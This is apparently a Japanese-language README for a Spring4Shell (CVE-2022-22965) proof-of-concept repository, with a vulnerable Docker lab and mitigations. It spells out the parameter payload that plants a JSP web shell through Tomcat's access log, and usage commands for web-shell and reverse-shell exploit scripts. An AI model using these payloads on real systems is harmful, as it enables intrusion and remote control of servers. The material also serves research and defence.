
説明
免責事項: このリポジトリは 教育および研究目的のみ を意図しています。 すべてのエクスプロイトスクリプトは、自分が所有するシステム、または明示的な書面による 許可を得たシステムに対してのみ使用する必要があります。著者は、この資料の誤用または損害について一切責任を負いません。
CVE-2022-22965は、2022年4月に公開されたSpring Frameworkにおける重大なリモートコード実行(RCE)脆弱性であり、その調査と概念実証(PoC)です。
Spring4Shell は、以下のすべての条件が満たされた場合に、Spring MVCおよびSpring WebFluxアプリケーションに影響を及ぼします:
| 条件 | 値 |
|---|---|
| JDKバージョン | 9以上 |
| アプリケーションサーバー | Apache Tomcat |
| パッケージング | WAR(実行可能JARではない) |
| Spring Framework | < 5.3.18 または < 5.2.20 |
Springのデータバインディングメカニズムは、HTTPリクエストパラメータをドット表記(例:user.name=foo)でJavaオブジェクトのプロパティにマッピングすることを可能にします。この脆弱性は、このトラバーサルが適切に制限されていないために発生します — 攻撃者はモデルオブジェクトのクラス階層を通じてJVM ClassLoader に到達できます:
class.module.classLoader.resources.context.parent.pipeline.first.<property>
このパスはTomcatの AccessLogValve に到達し、そのログ設定を実行時に操作できます。pattern、directory、prefix、suffix などのプロパティを変更することで、攻撃者はTomcatのアクセスログをリダイレクトし、任意のJSPコードを含む .jsp 拡張子のファイルを書き込ませます — これにより事実上、サーバー上に Webシェル が仕掛けられます。
1. POST /vulnerable
class.module.classLoader.resources.context.parent.pipeline.first.pattern=<JSP payload>
class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp
class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT
class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell
class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=
2. Tomcat writes the access log to webapps/ROOT/shell.jsp with the injected payload
3. GET /shell.jsp?cmd=id → RCE
.
├── exploits/
│ ├── exploit1.py # POST-based web shell with password protection
│ ├── exploit2.py # POST-based web shell with reset capability
│ ├── exploit3.py # GET-based variant (simplified)
│ ├── exploit4.py # Reverse TCP shell (GET-based)
│ └── exploit4b.py # Reverse TCP shell (POST-based)
└── springmvc5-helloworld-example/
├── Dockerfile # Uses pre-built tomcat:9.0.60 image
├── Dockerfile2 # Builds from openjdk:11 + downloads Tomcat
├── pom.xml # Maven project — Spring MVC 5.3.17 (vulnerable)
└── src/ # Vulnerable Spring MVC application source
# Web shell
python3 exploits/exploit1.py http://target:8080/vulnerable
# Reverse shell (start listener first: nc -lvnp 4444)
python3 exploits/exploit4.py --url http://target:8080/vulnerable --lhost <YOUR_IP> --lport 4444
sudo apt install maven または sudo dnf install maven)cd springmvc5-helloworld-example
mvn clean package
# Option 1 — pre-built Tomcat image
docker build -t spring4shell .
docker run -p 8082:8080 spring4shell
# Option 2 — build from openjdk + download Tomcat
docker build -t spring4shell -f Dockerfile2 .
docker run -p 8082:8080 spring4shell
アプリケーションには http://localhost:8082/vulnerable でアクセスできます。
WebDataBinder.setDisallowedFields() を使用して classLoader のバインディングをブロックclass.、Class.、module.、classLoader を含むパラメータをブロックするWAFルールを導入元の研究とエクスプロイトコードは @march0n によるものです。 このリポジトリは学習目的のための脆弱性に関する個人研究であり、追加のドキュメントと分析が含まれています。
| スクリプト | メソッド | ペイロード | 備考 |
|---|
exploit1.py | POST | Webシェル(パスワード保護) | 単一リクエスト |
exploit2.py | POST | Webシェル | エクスプロイト前後にログ設定をリセット |
exploit3.py | GET | Webシェル(パスワードなし) | クエリ文字列経由のパラメータ |
exploit4.py | GET | リバースTCPシェル | msfvenomベースのJSPペイロード |
exploit4b.py | POST | リバースTCPシェル | exploit4と同じペイロード、POST版 |